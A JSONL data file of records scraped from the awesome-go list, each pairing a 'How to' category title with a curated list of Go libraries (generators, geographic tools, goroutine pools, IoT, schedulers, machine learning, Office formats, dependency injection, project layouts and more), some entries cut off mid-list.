{"id": "gh_9d9ecd9bfdba", "question": "How to: Generators", "question_body": "About avelino/awesome-go", "answer": "_Tools that generate Go code._\n\n- [convergen](https://github.com/reedom/convergen) - Feature rich type-to-type copy code generator.\n- [copygen](https://github.com/switchupcb/copygen) - Generate any code based on Go types, including type-to-type converters (copy code) without reflection by default.\n- [generis](https://github.com/senselogic/GENERIS) - Code generation tool providing generics, free-form macros, conditional compilation and HTML templating.\n- [go-enum](https://github.com/abice/go-enum) - Code generation for enums from code comments.\n- [go-enum-encoding](https://github.com/nikolaydubina/go-enum-encoding) - Code generation for enum encoding from code comments.\n- [go-linq](https://github.com/ahmetalpbalkan/go-linq) - .NET LINQ-like query methods for Go.\n- [goderive](https://github.com/awalterschulze/goderive) - Derives functions from input types\n- [goverter](https://github.com/jmattheis/goverter) - Generate converters by defining an interface.\n- [GoWrap](https://github.com/hexdigest/gowrap) - Generate decorators for Go interfaces using simple templates.\n- [interfaces](https://github.com/rjeczalik/interfaces) - Command line tool for generating interface definitions.\n- [jennifer](https://github.com/dave/jennifer) - Generate arbitrary Go code without templates.\n- [oapi-codegen](https://github.com/deepmap/oapi-codegen) - This package contains a set of utilities for generating Go boilerplate code for services based on OpenAPI 3.0 API definitions.\n- [typeregistry](https://github.com/xiaoxin01/typeregistry) - A library to create type dynamically.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082611"}
{"id": "gh_bf2013ff0e49", "question": "How to: Geographic", "question_body": "About avelino/awesome-go", "answer": "_Geographic tools and servers_\n\n- [borders](https://github.com/kpfaulkner/borders) - Detects image borders and converts to GeoJSON for GIS operations.\n- [geoos](https://github.com/spatial-go/geoos) - A library provides spatial data and geometric algorithms.\n- [geoserver](https://github.com/hishamkaram/geoserver) - geoserver Is a Go Package For Manipulating a GeoServer Instance via the GeoServer REST API.\n- [gismanager](https://github.com/hishamkaram/gismanager) - Publish Your GIS Data(Vector Data) to PostGIS and Geoserver.\n- [godal](https://github.com/airbusgeo/godal) - Go wrapper for GDAL.\n- [H3](https://github.com/uber/h3-go) - Go bindings for H3, a hierarchical hexagonal geospatial indexing system.\n- [H3 GeoJSON](https://github.com/mmadfox/go-geojson2h3) - Conversion utilities between H3 indexes and GeoJSON.\n- [H3GeoDist](https://github.com/mmadfox/go-h3geo-dist) - Distribution of Uber H3geo cells by virtual nodes.\n- [mbtileserver](https://github.com/consbio/mbtileserver) - A simple Go-based server for map tiles stored in mbtiles format.\n- [osm](https://github.com/paulmach/osm) - Library for reading, writing and working with OpenStreetMap data and APIs.\n- [pbf](https://github.com/maguro/pbf) - OpenStreetMap PBF golang encoder/decoder.\n- [S2 geojson](https://github.com/pantrif/s2-geojson) - Convert geojson to s2 cells & demonstrating some S2 geometry features on map.\n- [S2 geometry](https://github.com/golang/geo) - S2 geometry library in Go.\n- [simplefeatures](https://github.com/peterstace/simplefeatures) - simplesfeatures is a 2D geometry library that provides Go types that model geometries, as well as algorithms that operate on them.\n- [Tile38](https://github.com/tidwall/tile38) - Geolocation DB with spatial index and realtime geofencing.\n- [Web-Mercator-Projection](https://github.com/jorelosorio/web-mercator-projection) A project to easily use and convert LonLat, Point and Tile to display info, markers, etc, in a map using the Web Mercator Projection.\n- [WGS84](https://github.com/wroge/wgs84) - Library for Coordinate Conversion and Transformation (ETRS89, OSGB36, NAD83, RGF93, Web Mercator, UTM).\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082620"}
{"id": "gh_9352624eaf65", "question": "How to: Go Compilers", "question_body": "About avelino/awesome-go", "answer": "_Tools for compiling Go to other languages and vice-versa._\n\n- [bunster](https://github.com/yassinebenaid/bunster) - Compile shell scripts to Go.\n- [c4go](https://github.com/Konstantin8105/c4go) - Transpile C code to Go code.\n- [cxgo](https://github.com/gotranspile/cxgo) - Transpile C code to Go code.\n- [esp32](https://github.com/andygeiss/esp32-transpiler) - Transpile Go into Arduino code.\n- [f4go](https://github.com/Konstantin8105/f4go) - Transpile FORTRAN 77 code to Go code.\n- [go2hx](https://github.com/go2hx/go2hx) - Compiler from Go to Haxe to Javascript/C++/Java/C#.\n- [gopherjs](https://github.com/gopherjs/gopherjs) - Compiler from Go to JavaScript.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082626"}
{"id": "gh_24a00a774017", "question": "How to: Goroutines", "question_body": "About avelino/awesome-go", "answer": "_Tools for managing and working with Goroutines._\n\n- [anchor](https://github.com/kyuff/anchor) - Library to manage component lifecycle in microservice architectures.\n- [ants](https://github.com/panjf2000/ants) - A high-performance and low-cost goroutine pool in Go.\n- [artifex](https://github.com/borderstech/artifex) - Simple in-memory job queue for Golang using worker-based dispatching.\n- [async](https://github.com/yaitoo/async) - An asynchronous task package with async/await style for Go.\n- [async](https://github.com/reugn/async) - An alternative sync library for Go (Future, Promise, Locks).\n- [async](https://github.com/studiosol/async) - A safe way to execute functions asynchronously, recovering them in case of panic.\n- [async-job](https://github.com/lab210-dev/async-job) - AsyncJob is an asynchronous queue job manager with light code, clear and speed.\n- [breaker](https://github.com/kamilsk/breaker) - Flexible mechanism to make execution flow interruptible.\n- [channelify](https://github.com/ddelizia/channelify) - Transform your function to return channels for easy and powerful parallel processing.\n- [conc](https://github.com/sourcegraph/conc) - `conc` is your toolbelt for structured concurrency in go, making common tasks easier and safer.\n- [concurrency-limiter](https://github.com/vivek-ng/concurrency-limiter) - Concurrency limiter with support for timeouts, dynamic priority and context cancellation of goroutines.\n- [conexec](https://github.com/ITcathyh/conexec) - A concurrent toolkit to help execute funcs concurrently in an efficient and safe way. It supports specifying the overall timeout to avoid blocking and uses goroutine pool to improve efficiency.\n- [cyclicbarrier](https://github.com/marusama/cyclicbarrier) - CyclicBarrier for golang.\n- [execpool](https://github.com/hexdigest/execpool) - A pool built around exec.Cmd that spins up a given number of processes in advance and attaches stdin and stdout to them when needed. Very similar to FastCGI or Apache Prefork MPM but works for any command.\n- [flowmatic](https://github.com/carlmjohnson/flowmatic) - Structured concurrency made easy.\n- [go-accumulator](https://github.com/nar10z/go-accumulator) - Solution for accumulation of events and their subsequent processing.\n- [go-actor](https://github.com/vladopajic/go-actor) - A tiny library for writing concurrent programs using actor model.\n- [go-floc](https://github.com/workanator/go-floc) - Orchestrate goroutines with ease.\n- [go-flow](https://github.com/kamildrazkiewicz/go-flow) - Control goroutines execution order.\n- [go-tools/multithreading](https://github.com/nikhilsaraf/go-tools) - Manage a pool of goroutines using this lightweight library with a simple API.\n- [go-trylock](https://github.com/subchen/go-trylock) - TryLock support on read-write lock for Golang.\n- [go-waitgroup](https://github.com/pieterclaerhout/go-waitgroup) - Like `sync.WaitGroup` with error handling and concurrency control.\n- [go-workerpool](https://github.com/zenthangplus/go-workerpool) - Inspired from Java Thread Pool, Go WorkerPool aims to control heavy Go Routines.\n- [goccm](https://github.com/zenthangplus/goccm) - Go Concurrency Manager package limits the number of goroutines that allowed to run concurrently.\n- [gohive](https://github.com/loveleshsharma/gohive) - A highly performant and easy to use Goroutine pool for Go.\n- [gollback](https://github.com/vardius/gollback) - asynchronous simple function utilities, for managing execution of closures and callbacks.\n- [gowl](https://github.com/hamed-yousefi/gowl) - Gowl is a process management and process monitoring tool at once. An infinite worker pool gives you the ability to control the pool and processes and monitor their status.\n- [goworker](https://github.com/benmanns/goworker) - goworker is a Go-based background worker.\n- [gowp](https://github.com/xxjwxc/gowp) - gowp is concurrency limiting goroutine pool.\n- [gpool](https://github.com/Sherifabdlnaby/gpool) - manages a resizeable pool of context-aware goroutines to bound concurrency.\n- [grpool](https://github.com/ivpusic/grpool) - Lightweight Goroutine pool.\n- [hands](https://github.com/duanckham/hands) - A process controller used to control the execution and return strategies of multiple goroutines.\n- [Hunch](https://github.com/AaronJan/Hunch) - Hunch provides functions like: `All`, `First`, `Retry`, `Waterfall` etc., that makes asynchronous flow control more intuitive.\n- [kyoo](https://github.com/dirkaholic/kyoo) - Provides an unlimited job queue and concurrent worker pools.\n- [neilotoole/errgroup](https://github.com/neilotoole/errgroup) - Drop-in alternative to `sync/errgroup`, limited to a pool of N worker goroutines.\n- [nursery](https://github.com/arunsworld/nursery) - Structured concurrency in Go.\n- [oversight](https://pkg.go.dev/cirello.io/oversight) - Oversight is a complete implementation of the Erlang supervision trees.\n- [parallel-fn](https://github.com/rafaeljesus/parallel-fn) - Run functions in parallel.\n- [pond](http", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082646"}
{"id": "gh_20d9210ac248", "question": "How to: IoT (Internet of Things)", "question_body": "About avelino/awesome-go", "answer": "_Libraries for programming devices of the IoT._\n\n- [connectordb](https://github.com/connectordb/connectordb) - Open-Source Platform for Quantified Self & IoT.\n- [devices](https://github.com/goiot/devices) - Suite of libraries for IoT devices, experimental for x/exp/io.\n- [ekuiper](https://github.com/lf-edge/ekuiper) - Lightweight data stream processing engine for IoT edge.\n- [eywa](https://github.com/xcodersun/eywa) - Project Eywa is essentially a connection manager that keeps track of connected devices.\n- [flogo](https://github.com/tibcosoftware/flogo) - Project Flogo is an Open Source Framework for IoT Edge Apps & Integration.\n- [gatt](https://github.com/paypal/gatt) - Gatt is a Go package for building Bluetooth Low Energy peripherals.\n- [gobot](https://github.com/hybridgroup/gobot/) - Gobot is a framework for robotics, physical computing, and the Internet of Things.\n- [huego](https://github.com/amimof/huego) - An extensive Philips Hue client library for Go.\n- [iot](https://github.com/vaelen/iot/) - IoT is a simple framework for implementing a Google IoT Core device.\n- [periph](https://periph.io/) - Peripherals I/O to interface with low-level board facilities.\n- [rulego](https://github.com/rulego/rulego) - RuleGo is a lightweight, high-performance, embedded, orchestrable component-based rule engine for IoT edge.\n- [sensorbee](https://github.com/sensorbee/sensorbee) - Lightweight stream processing engine for IoT.\n- [shifu](https://github.com/Edgenesis/shifu) - Kubernetes native IoT development framework.\n- [smart-home](https://github.com/e154/smart-home) - Software package for IoT automation.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082666"}
{"id": "gh_5c35e6725ac5", "question": "How to: Job Scheduler", "question_body": "About avelino/awesome-go", "answer": "_Libraries for scheduling jobs._\n\n- [cdule](https://github.com/deepaksinghvi/cdule) - Job scheduler library with database support\n- [cheek](https://github.com/bart6114/cheek) - A simple crontab like scheduler that aims to offer a KISS approach to job scheduling.\n- [clockwerk](https://github.com/onatm/clockwerk) - Go package to schedule periodic jobs using a simple, fluent syntax.\n- [cronticker](https://github.com/krayzpipes/cronticker) - A ticker implementation to support cron schedules.\n- [go-cron](https://github.com/rk/go-cron) - Simple Cron library for go that can execute closures or functions at varying intervals, from once a second to once a year on a specific date and time. Primarily for web applications and long running daemons.\n- [go-job](https://github.com/cybergarage/go-job) - A flexible and extensible job scheduling and execution library for Go.\n- [go-quartz](https://github.com/reugn/go-quartz) - Simple, zero-dependency scheduling library for Go.\n- [go-scheduler](https://github.com/pardnchiu/go-scheduler) - Job scheduler supporting standard cron expressions, custom descriptors, intervals, and task dependencies.\n- [gocron](https://github.com/go-co-op/gocron) - Easy and fluent Go job scheduling. This is an actively maintained fork of [jasonlvhit/gocron](https://github.com/jasonlvhit/gocron).\n- [goflow](https://github.com/fieldryand/goflow) - A simple but powerful DAG scheduler and dashboard.\n- [gron](https://github.com/roylee0704/gron) - Define time-based tasks using a simple Go API and Gron’s scheduler will run them accordingly.\n- [gronx](https://github.com/adhocore/gronx) - Cron expression parser, task runner and daemon consuming crontab like task list.\n- [JobRunner](https://github.com/bamzi/jobrunner) - Smart and featureful cron job scheduler with job queuing and live monitoring built in.\n- [leprechaun](https://github.com/kilgaloon/leprechaun) - Job scheduler that supports webhooks, crons and classic scheduling.\n- [sched](https://github.com/romshark/sched) - A job scheduler with the ability to fast-forward time.\n- [scheduler](https://github.com/carlescere/scheduler) - Cronjobs scheduling made easy.\n- [tasks](https://github.com/madflojo/tasks) - An easy to use in-process scheduler for recurring tasks in Go.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082675"}
{"id": "gh_8e41b1deab7c", "question": "How to: Machine Learning", "question_body": "About avelino/awesome-go", "answer": "_Libraries for Machine Learning._\n\n- [bayesian](https://github.com/jbrukh/bayesian) - Naive Bayesian Classification for Golang.\n- [catboost-cgo](https://github.com/mirecl/catboost-cgo) - Fast, scalable, high performance Gradient Boosting on Decision Trees library. Golang using Cgo for blazing fast inference CatBoost Model.\n- [CloudForest](https://github.com/ryanbressler/CloudForest) - Fast, flexible, multi-threaded ensembles of decision trees for machine learning in pure Go.\n- [ddt](https://github.com/sgrodriguez/ddt) - Dynamic decision tree, create trees defining customizable rules.\n- [eaopt](https://github.com/MaxHalford/eaopt) - An evolutionary optimization library.\n- [evoli](https://github.com/khezen/evoli) - Genetic Algorithm and Particle Swarm Optimization library.\n- [fonet](https://github.com/Fontinalis/fonet) - A Deep Neural Network library written in Go.\n- [go-cluster](https://github.com/e-XpertSolutions/go-cluster) - Go implementation of the k-modes and k-prototypes clustering algorithms.\n- [go-deep](https://github.com/patrikeh/go-deep) - A feature-rich neural network library in Go.\n- [go-fann](https://github.com/white-pony/go-fann) - Go bindings for Fast Artificial Neural Networks(FANN) library.\n- [go-galib](https://github.com/thoj/go-galib) - Genetic Algorithms library written in Go / golang.\n- [go-pr](https://github.com/daviddengcn/go-pr) - Pattern recognition package in Go lang.\n- [gobrain](https://github.com/goml/gobrain) - Neural Networks written in go.\n- [godist](https://github.com/e-dard/godist) - Various probability distributions, and associated methods.\n- [goga](https://github.com/tomcraven/goga) - Genetic algorithm library for Go.\n- [GoLearn](https://github.com/sjwhitworth/golearn) - General Machine Learning library for Go.\n- [GoMind](https://github.com/surenderthakran/gomind) - A simplistic Neural Network Library in Go.\n- [goml](https://github.com/cdipaolo/goml) - On-line Machine Learning in Go.\n- [GoMLX](https://github.com/gomlx/gomlx) - An accelerated Machine Learning framework for Go.\n- [gonet](https://github.com/dathoangnd/gonet) - Neural Network for Go.\n- [Goptuna](https://github.com/c-bata/goptuna) - Bayesian optimization framework for black-box functions written in Go. Everything will be optimized.\n- [goRecommend](https://github.com/timkaye11/goRecommend) - Recommendation Algorithms library written in Go.\n- [gorgonia](https://github.com/gorgonia/gorgonia) - graph-based computational library like Theano for Go that provides primitives for building various machine learning and neural network algorithms.\n- [gorse](https://github.com/zhenghaoz/gorse) - An offline recommender system backend based on collaborative filtering written in Go.\n- [goscore](https://github.com/asafschers/goscore) - Go Scoring API for PMML.\n- [gosseract](https://github.com/otiai10/gosseract) - Go package for OCR (Optical Character Recognition), by using Tesseract C++ library.\n- [hugot](https://github.com/knights-analytics/hugot) - Huggingface transformer pipelines for golang with onnxruntime.\n- [libsvm](https://github.com/datastream/libsvm) - libsvm golang version derived work based on LIBSVM 3.14.\n- [m2cgen](https://github.com/BayesWitnesses/m2cgen) - A CLI tool to transpile trained classic ML models into a native Go code with zero dependencies, written in Python with Go language support.\n- [neural-go](https://github.com/schuyler/neural-go) - Multilayer perceptron network implemented in Go, with training via backpropagation.\n- [ocrserver](https://github.com/otiai10/ocrserver) - A simple OCR API server, seriously easy to be deployed by Docker and Heroku.\n- [onnx-go](https://github.com/owulveryck/onnx-go) - Go Interface to Open Neural Network Exchange (ONNX).\n- [probab](https://github.com/ThePaw/probab) - Probability distribution functions. Bayesian inference. Written in pure Go.\n- [randomforest](https://github.com/malaschitz/randomForest) - Easy to use Random Forest library for Go.\n- [regommend](https://github.com/muesli/regommend) - Recommendation & collaborative filtering engine.\n- [shield](https://github.com/eaigner/shield) - Bayesian text classifier with flexible tokenizers and storage backends for Go.\n- [tfgo](https://github.com/galeone/tfgo) - Easy to use Tensorflow bindings: simplifies the usage of the official Tensorflow Go bindings. Define computational graphs in Go, load and execute models trained in Python.\n- [Varis](https://github.com/Xamber/Varis) - Golang Neural Network.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082704"}
{"id": "gh_cdd785f77198", "question": "How to: Microsoft Office", "question_body": "About avelino/awesome-go", "answer": "- [unioffice](https://github.com/unidoc/unioffice) - Pure go library for creating and processing Office Word (.docx), Excel (.xlsx) and Powerpoint (.pptx) documents.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082717"}
{"id": "gh_d692924ac4f6", "question": "How to: Microsoft Excel", "question_body": "About avelino/awesome-go", "answer": "_Libraries for working with Microsoft Excel._\n\n- [cellwalker](https://github.com/chonla/cellwalker) - Virtually traverse Excel cell by cell's name.\n- [excelize](https://github.com/xuri/excelize) - Golang library for reading and writing Microsoft Excel™ (XLSX) files.\n- [exl](https://github.com/go-the-way/exl) - Excel binding to struct written in Go.(Only supports Go1.18+)\n- [go-excel](https://github.com/szyhf/go-excel) - A simple and light reader to read a relate-db-like excel as a table.\n- [xlsx](https://github.com/tealeg/xlsx) - Library to simplify reading the XML format used by recent version of Microsoft Excel in Go programs.\n- [xlsx](https://github.com/plandem/xlsx) - Fast and safe way to read/update your existing Microsoft Excel files in Go programs.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082723"}
{"id": "gh_a377b283741a", "question": "How to: Microsoft Word", "question_body": "About avelino/awesome-go", "answer": "_Libraries for working with Microsoft Word._\n\n- [godocx](https://github.com/gomutex/godocx) - Library for reading and writing Microsoft Word (Docx) files.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082728"}
{"id": "gh_c32968d16a57", "question": "How to: Dependency Injection", "question_body": "About avelino/awesome-go", "answer": "_Libraries for working with dependency injection._\n\n- [alice](https://github.com/magic003/alice) - Additive dependency injection container for Golang.\n- [autowire](https://github.com/tiendc/autowire) - Dependency injection using Generics and reflection.\n- [boot-go](http://github.com/boot-go/boot) - Component-based development with dependency injection using reflections for Go developers.\n- [componego](https://github.com/componego/componego) - A dependency injection framework based on components, allowing dynamic dependency replacement without duplicating code in tests.\n- [cosban/di](https://gitlab.com/cosban/di) - A code generation based dependency injection wiring tool.\n- [di](https://github.com/goava/di) - A dependency injection container for go programming language.\n- [dig](https://github.com/uber-go/dig) - A reflection based dependency injection toolkit for Go.\n- [dingo](https://github.com/i-love-flamingo/dingo) - A dependency injection toolkit for Go, based on Guice.\n- [do](https://github.com/samber/do) - A dependency injection framework based on Generics.\n- [fx](https://github.com/uber-go/fx) - A dependency injection based application framework for Go (built on top of dig).\n- [Go-Spring](https://github.com/go-spring/spring-core) - A high-performance Go framework inspired by Spring Boot, offering DI, auto-configuration, and lifecycle management while maintaining Go's simplicity and efficiency.\n- [gocontainer](https://github.com/vardius/gocontainer) - Simple Dependency Injection Container.\n- [godi](https://github.com/junioryono/godi) - Microsoft-style dependency injection for Go with scoped lifetimes and generics.\n- [goioc/di](https://github.com/goioc/di) - Spring-inspired Dependency Injection Container.\n- [GoLobby/Container](https://github.com/golobby/container) - GoLobby Container is a lightweight yet powerful IoC dependency injection container for the Go programming language.\n- [gontainer](https://github.com/NVIDIA/gontainer) - A dependency injection service container for Go projects.\n- [gontainer/gontainer](https://github.com/gontainer/gontainer) - A YAML-based Dependency Injection container for GO. It supports dependencies' scopes, and auto-detection of circular dependencies. Gontainer is concurrent-safe.\n- [HnH/di](https://github.com/HnH/di) - DI container library that is focused on clean API and flexibility.\n- [kinit](https://github.com/go-kata/kinit) - Customizable dependency injection container with the global mode, cascade initialization and panic-safe finalization.\n- [kod](https://github.com/go-kod/kod) - A generics based dependency injection framework for Go.\n- [linker](https://github.com/logrange/linker) - A reflection based dependency injection and inversion of control library with components lifecycle support.\n- [nject](https://github.com/muir/nject) - A type safe, reflective framework for libraries, tests, http endpoints, and service startup.\n- [ore](https://github.com/firasdarwish/ore) - Lightweight, generic & simple dependency injection (DI) container.\n- [parsley](https://github.com/matzefriedrich/parsley) - A flexible and modular reflection-based DI library with advanced features like scoped contexts and proxy generation, designed for large-scale Go applications.\n- [wire](https://github.com/Fs02/wire) - Strict Runtime Dependency Injection for Golang.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082740"}
{"id": "gh_1ef1c75f081f", "question": "How to: Project Layout", "question_body": "About avelino/awesome-go", "answer": "_**Unofficial** set of patterns for structuring projects._\n\n- [ardanlabs/service](https://github.com/ardanlabs/service) - A [starter kit](https://github.com/ardanlabs/service/wiki) for building production grade scalable web service applications.\n- [cookiecutter-golang](https://github.com/lacion/cookiecutter-golang) - A Go application boilerplate template for quick starting projects following production best practices.\n- [go-blueprint](https://github.com/Melkeydev/go-blueprint) - Allows users to spin up a quick Go project using a popular framework.\n- [go-module](https://github.com/octomation/go-module) - Template for a typical module written on Go.\n- [go-sample](https://github.com/zitryss/go-sample) - A sample layout for Go application projects with the real code.\n- [go-starter](https://github.com/allaboutapps/go-starter) - An opinionated production-ready RESTful JSON backend template, highly integrated with VSCode DevContainers.\n- [go-todo-backend](https://github.com/Fs02/go-todo-backend) - Go Todo Backend example using modular project layout for product microservice.\n- [goapp](https://github.com/naughtygopher/goapp) - An opinionated guideline to structure & develop a Go web application/service.\n- [gobase](https://github.com/wajox/gobase) - A simple skeleton for golang application with basic setup for real golang application.\n- [golang-standards/project-layout](https://github.com/golang-standards/project-layout) - Set of common historical and emerging project layout patterns in the Go ecosystem. Note: despite the org-name they do not represent official golang standards, see [this issue](https://github.com/golang-standards/project-layout/issues/117) for more information. Nonetheless, some may find the layout useful.\n- [golang-templates/seed](https://github.com/golang-templates/seed) - Go application GitHub repository template.\n- [goxygen](https://github.com/shpota/goxygen) - Generate a modern Web project with Go and Angular, React, or Vue in seconds.\n- [insidieux/inizio](https://github.com/insidieux/inizio) - Golang project layout generator with plugins.\n- [kickstart.go](https://github.com/raeperd/kickstart.go) - Minimalistic single-file Go HTTP server template without third-party dependencies.\n- [modern-go-application](https://github.com/sagikazarmark/modern-go-application) - Go application boilerplate and example applying modern practices.\n- [nunu](https://github.com/go-nunu/nunu) - Nunu is a scaffolding tool for building Go applications.\n- [pagoda](https://github.com/mikestefanello/pagoda) - Rapid, easy full-stack web development starter kit built in Go.\n- [scaffold](https://github.com/catchplay/scaffold) - Scaffold generates a starter Go project layout. Lets you focus on business logic implemented.\n- [wangyoucao577/go-project-layout](https://github.com/wangyoucao577/go-project-layout) - Set of practices and discussions on how to structure Go project layout.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082751"}
{"id": "gh_6811572e8ef7", "question": "How to: Uncategorized", "question_body": "About avelino/awesome-go", "answer": "_These libraries were placed here because none of the other categories seemed to fit._\n\n- [anagent](https://github.com/mudler/anagent) - Minimalistic, pluggable Golang evloop/timer handler with dependency-injection.\n- [antch](https://github.com/antchfx/antch) - A fast, powerful and extensible web crawling & scraping framework.\n- [archives](https://github.com/mholt/archives) - a cross-platform, multi-format Go library for working with archives and compression formats with a unified API and as virtual file systems compatible with io/fs.\n- [autoflags](https://github.com/artyom/autoflags) - Go package to automatically define command line flags from struct fields.\n- [avgRating](https://github.com/kirillDanshin/avgRating) - Calculate average score and rating based on Wilson Score Equation.\n- [banner](https://github.com/dimiro1/banner) - Add beautiful banners into your Go applications.\n- [base64Captcha](https://github.com/mojocn/base64Captcha) - Base64captch supports digit, number, alphabet, arithmetic, audio and digit-alphabet captcha.\n- [basexx](https://github.com/bobg/basexx) - Convert to, from, and between digit strings in various number bases.\n- [battery](https://github.com/distatus/battery) - Cross-platform, normalized battery information library.\n- [bitio](https://github.com/icza/bitio) - Highly optimized bit-level Reader and Writer for Go.\n- [browscap_go](https://github.com/digitalcrab/browscap_go) - GoLang Library for [Browser Capabilities Project](https://browscap.org/).\n- [captcha](https://github.com/steambap/captcha) - Package captcha provides an easy to use, unopinionated API for captcha generation.\n- [common](https://github.com/kubeservice-stack/common) - A library for server framework.\n- [conv](https://github.com/cstockton/go-conv) - Package conv provides fast and intuitive conversions across Go types.\n- [datacounter](https://github.com/miolini/datacounter) - Go counters for readers/writer/http.ResponseWriter.\n- [fake-useragent](https://github.com/lib4u/fake-useragent) - Up-to-date simple useragent faker with real world database in Golang\n- [faker](https://github.com/pioz/faker) - Random fake data and struct generator for Go.\n- [ffmt](https://github.com/go-ffmt/ffmt) - Beautify data display for Humans.\n- [gatus](https://github.com/TwinProduction/gatus) - Automated service health dashboard.\n- [go-commandbus](https://github.com/lana/go-commandbus) - A slight and pluggable command-bus for Go.\n- [go-commons-pool](https://github.com/jolestar/go-commons-pool) - Generic object pool for Golang.\n- [go-openapi](https://github.com/go-openapi) - Collection of packages to parse and utilize open-api schemas.\n- [go-resiliency](https://github.com/eapache/go-resiliency) - Resiliency patterns for golang.\n- [go-unarr](https://github.com/gen2brain/go-unarr) - Decompression library for RAR, TAR, ZIP and 7z archives.\n- [gofakeit](https://github.com/brianvoe/gofakeit) - Random data generator written in go.\n- [gommit](https://github.com/antham/gommit) - Analyze git commit messages to ensure they follow defined patterns.\n- [gopsutil](https://github.com/shirou/gopsutil) - Cross-platform library for retrieving process and system utilization(CPU, Memory, Disks, etc).\n- [gosh](https://github.com/osamingo/gosh) - Provide Go Statistics Handler, Struct, Measure Method.\n- [gosms](https://github.com/haxpax/gosms) - Your own local SMS gateway in Go that can be used to send SMS.\n- [gotoprom](https://github.com/cabify/gotoprom) - Type-safe metrics builder wrapper library for the official Prometheus client.\n- [gountries](https://github.com/pariz/gountries) - Package that exposes country and subdivision data.\n- [gtree](https://github.com/ddddddO/gtree) - Provide CLI, Package and Web for tree output and directories creation from Markdown or programmatically.\n- [health](https://github.com/alexliesenfeld/health) - A simple and flexible health check library for Go.\n- [health](https://github.com/dimiro1/health) - Easy to use, extensible health check library.\n- [healthcheck](https://github.com/etherlabsio/healthcheck) - An opinionated and concurrent health-check HTTP handler for RESTful services.\n- [hostutils](https://github.com/Wing924/hostutils) - A golang library for packing and unpacking FQDNs list.\n- [indigo](https://github.com/osamingo/indigo) - Distributed unique ID generator of using Sonyflake and encoded by Base58.\n- [lk](https://github.com/hyperboloide/lk) - A simple licensing library for golang.\n- [llvm](https://github.com/llir/llvm) - Library for interacting with LLVM IR in pure Go.\n- [metrics](https://github.com/pascaldekloe/metrics) - Library for metrics instrumentation and Prometheus exposition.\n- [morse](https://github.com/alwindoss/morse) - Library to convert to and from morse code.\n- [numa](https://github.com/lrita/numa) - NUMA is a utility library, which is written in go. It help us to write some NUMA-AWARED code.\n- [pdfgen](https://github.com/hyperboloide/pdfgen) - HTTP service to generate PDF from Json requests.\n- [persian", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082773"}
{"id": "gh_37eef18cddf1", "question": "How to: Natural Language Processing", "question_body": "About avelino/awesome-go", "answer": "_Libraries for working with human languages._\n\nSee also [Text Processing](#text-processing) and [Text Analysis](#text-analysis).", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082778"}
